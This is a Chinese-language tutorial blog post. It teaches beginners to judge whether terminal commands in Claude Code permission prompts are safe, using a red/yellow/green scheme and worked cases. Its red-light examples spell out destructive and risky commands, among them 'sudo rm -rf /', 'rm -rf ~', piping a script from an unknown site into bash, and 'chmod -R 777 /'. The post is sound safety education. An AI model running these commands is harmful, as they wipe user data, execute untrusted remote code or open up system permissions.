如果剛開始用 Claude Code,應該很快就會遇到一個狀況:對它說「幫我整理一下這個資料夾」,結果畫面突然跳出一行看起來像外星語的文字,問你要不要 Allow。你盯著那行指令看了三秒,完全不知道它要做什麼,心裡想著「按 Allow 會不會把我的電腦搞壞?按 Deny 會不會什麼都做不了?」——如果你有過這種感覺,這篇文章就是為你寫的。

之前寫了 Claude Code 入門使用教學非工程師應用教學,但都沒有專門講「怎麼判斷 Claude Code 要執行的指令是不是安全的」。這其實是很多新手最焦慮的事情——不是不信任 AI,而是看不懂它要做什麼。這篇就來把這件事講清楚。

因為這篇文章是判斷終端機指令是否安全,因此 ChatGPT Codex、Gemini CLI 等用戶也是通用的。

那個跳出來的確認畫面是什麼

Claude Code 在運作的時候,有些操作它會自己默默做完(比如讀取檔案內容),但有些操作它會先停下來問你:「我接下來要執行這個指令,你同意嗎?」這就是 Claude Code 的權限確認機制

例如上圖可以看到,我對 Claude Code 說「分析 /bin 有哪些檔案」,AI 會控制 Claude Code 會讀取目前所在專案以外的資料夾,而且還是比較敏感的 /bin 資料夾,會觸發 Claude Code 的權限警告,因此詢問了使用者是否允許 AI 讀取這些資料夾。

仔細看確認畫面,你會發現除了單純的 Allow / Deny 之外,還有一個選項像是「Yes, allow reading from bin/ from this project」。這代表針對這個專案,以後同樣的操作都自動允許,不會再問你。這個功能很方便,但新手建議先不要急著選這個,等你熟悉了哪些操作是安全的之後再開啟。如果不小心開了想要撤銷,後面會教你怎麼處理。

具體來說,Claude Code 把操作分成三個等級:

操作類型是否需要你確認範例
唯讀操作不需要,自動執行讀取檔案內容、搜尋程式碼
寫入操作需要確認修改檔案、建立新檔案
執行 Shell 指令需要確認跑終端機指令、安裝套件

換句話說,只要 Claude Code 想要「改東西」或「執行終端機指令」,它都會先讓你看一眼、點頭了才做。這個機制就是在保護你——即使 AI 判斷錯誤,你還有最後一道防線可以擋下來。關於權限機制的完整介紹,可以參考 Claude Code 入門使用教學 的權限章節。

但問題來了:如果你看不懂那行指令在做什麼,這道防線等於是虛設的。所以接下來,我們要先學會怎麼「讀」一行指令。

三分鐘看懂一行指令

指令的基本結構

終端機指令看起來很嚇人,但其實大部分都遵循一個固定的結構,就像英文的「主詞 + 動詞 + 受詞」一樣:

# 指令的基本結構
程式名稱  選項(flags)  目標

# 實際範例
ls        -la          src/
#  ↑        ↑           ↑
# 程式名稱  選項        目標
# (列出檔案) (詳細格式)  (src 資料夾)

拆開來看:

部分說明範例
程式名稱你要執行的工具,決定「做什麼事」ls(列出檔案)、rm(刪除)、git(版本控制)
選項(flags)--- 開頭,調整行為細節-l(詳細模式)、--force(強制執行)
目標你要對什麼東西操作src/(某個資料夾)、package.json(某個檔案)

所以當你看到 Claude Code 要執行 cat package.json,你可以拆解成:cat(顯示檔案內容)+ package.json(目標檔案)= 它只是要看一下這個檔案的內容。如果你想更深入了解指令的基本原理和路徑操作,非常推薦可以參考之前寫的:常用 Linux 指令教學,在 macOS 上這些指令都是通用的,甚至在 Windows CMD、PowerShell 中也大多通用。

常見符號速查表

除了基本結構之外,指令裡面有一些符號也很常出現,新手第一次看到通常會一頭霧水。這邊整理一張表,以後看到直接對照就好:

符號名稱功能範例
|Pipe(管線)把前一個指令的結果傳給下一個指令處理cat file.txt | grep "error"(顯示檔案內容,再從中找 error)
>輸出重導向把結果寫入檔案(覆蓋原有內容)echo "hello" > file.txt(把 hello 寫進檔案,原內容會消失)
>>附加重導向把結果附加到檔案尾端(不覆蓋)echo "world" >> file.txt(在檔案尾端加上 world)
&&串接執行前一個指令成功後,才執行下一個mkdir build && cd build(建立資料夾成功後,進入該資料夾)
;分號不管前一個指令成功與否,都執行下一個command1 ; command2
sudo超級使用者用管理員權限執行指令(通常需要輸入密碼)sudo apt install nano(用管理員權限安裝軟體)
~Home 目錄代表你的使用者主目錄cd ~/Documents(切換到你的文件資料夾)
*萬用字元匹配任何文字rm *.tmp(刪除所有 .tmp 檔案)

這些符號裡面,需要特別注意的是 >(覆蓋寫入)和 sudo(管理員權限)。看到這兩個出現在指令裡面的時候,要多花幾秒鐘確認一下目標是不是合理的。

Claude Code 常見指令分類

了解了指令的基本結構之後,接下來把 Claude Code 最常執行的指令分成幾大類。你不需要記住每個指令的細節,只要看到指令的時候,能大概判斷「它屬於哪一類、風險高不高」就夠了。

讀取類——只是看看,不會改東西

這類指令只會「讀取」資訊,不會修改、刪除或建立任何檔案,風險最低。

指令功能範例
ls列出資料夾裡的檔案ls -la src/
cat顯示檔案完整內容cat package.json
head / tail顯示檔案開頭 / 結尾幾行head -20 README.md
find搜尋檔案位置find . -name "*.js"
grep在檔案內容中搜尋文字grep -r "TODO" src/
wc計算行數、字數、字元數wc -l *.py
pwd顯示目前所在資料夾pwd
file辨識檔案類型file image.png

看到這些指令出現的時候,基本上可以放心讓它執行。Claude Code 經常會先用這類指令了解你的專案結構,再決定怎麼幫你做事。

寫入類——會修改或建立檔案

這類指令會在你的檔案系統上「寫東西」,不管是新建檔案、複製檔案、還是移動檔案。風險比讀取類高一點,但通常影響範圍有限。

指令功能需要注意什麼
mkdir建立新資料夾通常無害,只是多一個資料夾
touch建立空白檔案同上,只是多一個空檔案
cp複製檔案或資料夾注意目標位置,會不會覆蓋同名檔案
mv移動或重新命名檔案注意目標位置,原位置的檔案會消失
echo "..." > file把文字寫入檔案注意 > 會覆蓋原有內容,>> 是附加
tee同時顯示輸出並寫入檔案> 類似,會寫入檔案

這類指令的關鍵是看目標路徑。如果目標是在你的專案資料夾裡面(比如 ./src/./dist/),那通常沒問題。但如果目標路徑跑到系統目錄去了(比如 /etc//usr/),那就要警覺了。

刪除類——移除檔案或資料夾

刪除指令獨立出來講,因為這是新手最該注意的一類。終端機裡刪除的東西不會進到垃圾桶,是直接消失的。

指令功能危險程度
rm file.txt刪除單一檔案低——刪一個檔案,影響明確
rm -r folder/刪除資料夾和裡面所有東西中——會遞迴刪除,注意目標路徑
rm -rf folder/強制刪除,不詢問確認高——不會問你「確定嗎?」直接刪
rm -rf *刪除目前資料夾下所有東西非常高——取決於你目前在哪個資料夾

這裡面的 -r 代表 recursive(遞迴),意思是「連子資料夾和裡面的東西一起刪」。-f 代表 force(強制),意思是「不要問我確定不確定,直接刪」。兩個加在一起就是 -rf,效果是「把目標資料夾和裡面的所有東西,不問直接全部刪掉」。

但不要看到 rm -rf 就恐慌——關鍵還是看目標是什麼rm -rf node_modules(刪除 Node.js 的套件快取資料夾)是非常常見的正常操作,因為 node_modules 隨時可以用 npm install 重新下載回來。但如果看到 rm -rf /rm -rf ~,那就絕對要擋下來。

安裝與套件管理類

Claude Code 在幫你做事的時候,可能會需要安裝一些工具或套件。這類指令會在你的系統上下載並安裝軟體。

指令適用環境範例
npm installNode.js 套件npm install express
pip installPython 套件pip install pandas
brew installmacOS 系統軟體brew install jq
apt installUbuntu / Debian 系統軟體sudo apt install curl

這類指令的風險在於:你安裝的東西是否來自可信的來源。像 npm install express(安裝知名的 Node.js 框架)是很安全的。但如果安裝的是你從來沒聽過的套件,可以先 Google 一下這個套件名稱,看看它是不是正規的開源專案。另外,npm install(不指定套件名稱)代表的是「安裝 package.json 裡列出的所有套件」,這是專案初始化時的標準操作,通常是安全的。

Git 版本控制類

Claude Code 操作 Git 非常頻繁。Git 是程式碼的版本控制工具,你可以把它想像成「程式碼的時光機」。大部分 Git 指令都是安全的,但有少數幾個破壞性操作需要注意。

指令功能風險
git status查看目前的修改狀態無——只是看看
git add把修改加入暫存區無——只是標記要提交哪些修改
git commit建立一個版本紀錄低——只是記錄變更,可以撤銷
git diff查看修改了什麼內容無——只是看看
git log查看提交歷史無——只是看看
git push把本地的提交推到遠端中——會影響到遠端儲存庫,別人看得到
git push --force強制推送,覆蓋遠端歷史高——會覆蓋遠端的提交紀錄
git reset --hard丟棄所有未提交的修改高——未儲存的修改會永久消失
git checkout -- .丟棄所有未暫存的修改高——修改會永久消失

簡單來說,git statusgit addgit commitgit diffgit log 這些都是非常安全的日常操作。需要特別注意的是帶有 --force--hard 字眼的指令,這些通常意味著「強制執行、不可撤銷」。

網路類——會連線到外部

這類指令會讓你的電腦跟外部網路互動,可能是下載東西、也可能是上傳東西。

指令功能需要注意什麼
curl從網址下載內容看目標網址是否可信
wget從網址下載檔案同上
curl ... | bash下載腳本並直接執行高風險——等於讓遠端程式碼在你電腦上跑
npm publish把套件發佈到 npm 公開平台高風險——你的程式碼會被上傳到公開平台
git push把程式碼推到遠端儲存庫確認推送的目標是你自己的 repo
scp / rsync在本機和遠端之間複製檔案確認目標位置和傳輸方向

這裡面最需要警覺的是 curl ... | bash(或 curl ... | sh)。這個寫法的意思是「從某個網址下載一段程式碼,然後直接執行它」。雖然很多正規軟體的安裝腳本也用這種方式(比如 Homebrew 的安裝指令),但如果網址是你不認識的,就有風險。

系統權限類——動到系統層級

這類指令會影響到作業系統層級的設定或權限,是風險最高的類別。

指令功能為什麼要注意
sudo ...用管理員(root)權限執行指令幾乎可以做任何事,包括破壞系統
chmod修改檔案權限chmod 777 會讓任何人都能讀寫執行該檔案
chown修改檔案擁有者可能影響其他程式的存取權限

一般來說,Claude Code 在正常的專案開發中很少需要用到 sudo。如果它突然要求用 sudo 執行某個指令,你應該先問它為什麼需要管理員權限,是不是有其他不需要 sudo 的替代方案。

紅燈、黃燈、綠燈——指令安全判斷法

前面分了七大類指令,資訊量有點大。這邊把所有東西濃縮成一套簡單的「紅綠燈判斷法」,以後看到任何指令,跑一次這個流程就能快速決定要 Allow 還是 Deny。

綠燈——通常可以放心 Allow

符合以下所有條件的指令,通常可以直接 Allow:

  • 只讀操作(只是看、搜尋、列出資訊)
  • 目標在你的專案資料夾內
  • 不牽涉外部網路連線
  • 不需要 sudo

常見的綠燈指令範例:

# 列出專案資料夾結構
ls -la src/

# 搜尋程式碼中包含 "error" 的地方
grep -r "error" src/

# 顯示某個檔案的內容
cat README.md

# 計算程式碼行數
wc -l src/*.js

# 查看目前的 Git 狀態
git status

# 查看檔案的修改差異
git diff

# 查看最近的 Git 提交紀錄
git log --oneline -10

黃燈——先看清楚再決定

符合以下任一條件的指令,建議多看一眼:

  • 會寫入或修改檔案,但範圍明確
  • 會刪除東西,但目標是可重建的(如 node_modulesdist/build/
  • 安裝知名的套件或工具
  • Git 操作(addcommitpush

黃燈指令的判斷要點:

  1. 看目標路徑:是在專案資料夾內嗎?還是跑到系統目錄了?
  2. 看影響範圍:刪除的是可重建的快取?還是你辛苦寫的程式碼?
  3. 看安裝來源:套件名稱你認識嗎?Google 得到嗎?

常見的黃燈指令範例:

# 建立新的資料夾結構——看一下路徑是否合理
mkdir -p src/components/Button

# 安裝 Node.js 套件——express 是知名框架,沒問題
npm install express

# 刪除 node_modules 再重新安裝——常見操作,安全
rm -rf node_modules && npm install

# 把修改加入 Git 暫存區並提交——確認 commit message 合理就好
git add -A && git commit -m "fix: 修正登入驗證邏輯"

# 複製檔案——看一下目標路徑
cp .env.example .env

# 安裝 Python 套件——pandas 是知名資料分析套件
pip install pandas

紅燈——務必停下來確認

符合以下任一條件的指令,建議先按 Deny,問清楚再說:

  • rm -rf 搭配廣泛路徑(/~*
  • sudo 開頭的任何指令(除非你明確知道為什麼需要)
  • curl ... | bashwget ... | sh(從網路下載直接執行)
  • chmod 777(把檔案權限開到最大)
  • 目標指向系統目錄(/etc//usr//System/
  • git push --force(強制覆蓋遠端歷史)
  • git reset --hard(丟棄所有未提交修改)
  • 你完全看不懂的指令

逐一說明這些為什麼危險:

# ❌ 刪除整個系統——這會毀掉整台電腦的所有資料
sudo rm -rf /

# ❌ 刪除整個家目錄——你的文件、照片、設定全部消失
rm -rf ~

# ❌ 從不明網址下載腳本直接執行——等於把電腦控制權交給別人
curl -fsSL https://unknown-site.com/script.sh | bash

# ❌ 把根目錄權限全開——任何人都可以讀寫你的所有檔案
sudo chmod -R 777 /

# ❌ 強制推送到 main 分支——會覆蓋團隊其他人的所有提交
git push --force origin main

# ❌ 硬重置——所有還沒 commit 的修改會永久消失
git reset --hard HEAD

# ❌ 覆蓋系統設定檔——可能讓系統無法正常運作
echo "something" > /etc/hosts

最後一條特別重要:如果你完全看不懂這行指令在做什麼,就先按 Deny。按 Deny 不會有任何壞處,你可以問 Claude Code「這個指令是做什麼用的?可以解釋一下嗎?」它會用白話告訴你,然後你再決定要不要允許。

實戰演練——看到這些指令你會怎麼判斷

理論講完了,來做幾題練習。以下模擬 Claude Code 實際會跳出的指令確認畫面,試著用紅綠燈判斷法來分析每一個。

案例一

ls -la src/components/

拆解ls(列出檔案)+ -la(詳細格式,含隱藏檔)+ src/components/(專案內的資料夾)

判斷:🟢 綠燈。只是查看專案資料夾內容,完全不會改任何東西。直接 Allow。

案例二

npm install express mongoose dotenv

拆解npm install(安裝 Node.js 套件)+ 三個套件名稱

判斷:🟡 黃燈。會安裝套件到你的專案,但 express(Web 框架)、mongoose(MongoDB 工具)、dotenv(環境變數管理)都是非常知名的套件。確認這些是你的專案需要的就可以 Allow。

案例三

rm -rf node_modules && npm install

拆解rm -rf node_modules(強制刪除 node_modules 資料夾)+ &&(成功後接著)+ npm install(重新安裝所有套件)

判斷:🟡 黃燈。看到 rm -rf 可能會嚇一跳,但 node_modules 是 Node.js 套件的快取資料夾,隨時可以重建。「刪掉再重裝」是解決套件衝突的標準做法,非常常見。可以 Allow。

案例四

git add -A && git commit -m "feat: 新增使用者註冊功能"

拆解git add -A(把所有修改加入暫存區)+ git commit -m "..."(建立一個版本紀錄,附上說明訊息)

判斷:🟡 黃燈。這是標準的 Git 提交操作,只是在本地建立版本紀錄,不會推到遠端。看一下 commit message 描述的內容是否跟你請 Claude Code 做的事情一致就好。Allow。

案例五

curl -fsSL https://deb.nodesource.com/setup_20.x | sudo bash -

拆解curl -fsSL(從網址下載內容)+ |(傳給下一個指令)+ sudo bash -(用管理員權限執行下載的腳本)

判斷:🔴 紅燈。這是 curl | bash 的模式——從網路下載腳本直接用管理員權限執行。雖然 deb.nodesource.com 是 NodeSource 官方的 Node.js 安裝腳本,來源可信,但建議你先確認這個網址是否正確,再考慮是否 Allow。如果不確定,可以先 Deny,然後問 Claude Code「有沒有不用 curl | bash 的安裝方式」。

案例六

git push --force origin main

拆解git push(推送到遠端)+ --force(強制覆蓋)+ origin main(遠端的主分支)

判斷:🔴 紅燈--force 會覆蓋遠端儲存庫上的提交歷史。如果有其他人也在這個 repo 上工作,他們的提交可能會被覆蓋掉。除非你非常確定自己在做什麼,否則一定要 Deny,然後問 Claude Code 為什麼需要 force push。

案例七

python3 -c "import json; data=json.load(open('data.json')); print(len(data))"

拆解python3 -c "..."(用 Python 執行一段程式碼)。程式碼內容是:讀取 data.json 檔案,計算裡面有幾筆資料。

判斷:🟢 綠燈。雖然用了 python3 -c 執行程式碼看起來有點複雜,但仔細看內容只是讀取一個 JSON 檔案並印出長度,完全是唯讀操作。Claude Code 很常用這種方式做資料分析。Allow。

Claude Code 的安全機制幫你把關了什麼

除了你自己的判斷之外,Claude Code 本身也有一套安全機制在幫你把關。了解這些機制可以讓你更有信心地使用它。

三層權限架構:

  1. 唯讀操作自動執行:讀取檔案、搜尋內容這類不會改任何東西的操作,Claude Code 會直接做,不需要你確認。
  2. 寫入操作需要確認:修改檔案或建立新檔案時,Claude Code 會先顯示修改內容的 diff(差異對比),讓你看過後再決定。
  3. Shell 指令需要確認:執行終端機指令時,Claude Code 會顯示完整的指令內容,等你按 Allow 才會執行。

Always Allow 功能:

如果你在某個專案中經常使用同一類操作(例如反覆地 npm install),可以在確認時選擇 Always allow(就是前面提到的「Yes, allow … from this project」那個選項),之後同類型的操作就不會再問你。但要注意:

  • 建議只對你很確定安全的操作使用 Always allow
  • 不同專案的 Always allow 設定是獨立的
  • 如果想重新調整,可以用 /permissions 指令管理你的權限設定

如何撤銷已經給出的許可:

如果你之前不小心對某個操作選了 Always allow,想要收回來,操作方式很簡單:

  1. 在 Claude Code 中輸入 /permissions
  2. 你會看到目前所有已經自動允許的操作清單
  3. 找到你想撤銷的項目,把它移除就可以了
  4. 之後同類型的操作會重新回到「每次詢問」的狀態

所以即使一時手快選了 Always allow,也不用擔心,隨時都可以撤銷。

最後防線是你自己:

這些機制很好,但它們只是工具,最終的判斷還是在你手上。Claude Code 不會繞過你的確認去做事,所以只要你養成「看不懂就先 Deny」的習慣,就不用擔心會出大問題。

給新手的行動建議

什麼時候可以大膽 Allow

  • 讀取類指令(lscatgrepfind 等)
  • 操作對象在你的專案資料夾內
  • 你看得懂這個指令在做什麼,而且跟你的要求相符
  • Git 的查看類操作(statusdifflog

什麼時候該按 Deny 問清楚

  • 你完全看不懂這行指令
  • 指令裡面有 sudo
  • 指令操作的路徑不在你的專案資料夾裡
  • 指令裡面有 --force--hard
  • 指令會上傳東西到網路上(pushpublish
  • 你心裡有任何猶豫

記住:按 Deny 永遠不會有壞處。最多就是 Claude Code 需要換個方式做同一件事。但如果你按了 Allow 讓一個危險指令執行了,那可能就真的回不來了。所以寧可多問一次,也不要少問一次。

實用小技巧

1. 看不懂就直接問 Claude Code

按 Deny 之後,你可以直接在對話中問它:「你剛才那個指令是要做什麼?可以用白話解釋一下嗎?」Claude Code 會詳細說明每個部分的用途。這是最方便的方式,因為你不用離開 Claude Code 就能得到解答。

2. 善用 /permissions 管理權限

在 Claude Code 中輸入 /permissions,可以查看和管理你已經設定的 Always allow 清單。如果之前不小心對某個操作設了 Always allow 想要取消,在這裡就可以調整。

3. 注意指令的「目標路徑」

很多時候,同一個指令危不危險取決於它操作的目標。rm -rf node_modules 是正常操作,但 rm -rf / 是災難。養成習慣看一下指令最後面的路徑或檔名,確認它操作的對象是你預期的。

4. 善用 Google 或 AI 查詢

如果你想確認某個指令是否安全,可以把指令複製起來,貼到 Google 或 ChatGPT 去問。搜尋 linux rm -rf 意思 或直接貼整行指令問「這個指令在做什麼?安全嗎?」都是好方法。

總結

終端機指令一開始看起來確實很嚇人,但拆開來看,每一行指令都只是「程式名稱 + 選項 + 目標」的組合。學會辨認幾個關鍵的程式名稱(lsrmgitsudo),知道幾個重要的符號(|>&&),再用紅黃綠燈判斷法跑一遍,你就能在 Claude Code 跳出確認畫面的時候,有信心地做出正確的選擇。最重要的原則只有一個:不確定就先 Deny,問清楚再決定。Claude Code 不會因為你按了 Deny 就生氣或壞掉,它只會換個方式繼續幫你做事。放輕鬆,慢慢來,用多了自然就會越來越熟悉。如果你還沒讀過 Claude Code 的基礎教學,建議搭配 Claude Code 入門使用教學非工程師應用教學一起閱讀,會更完整。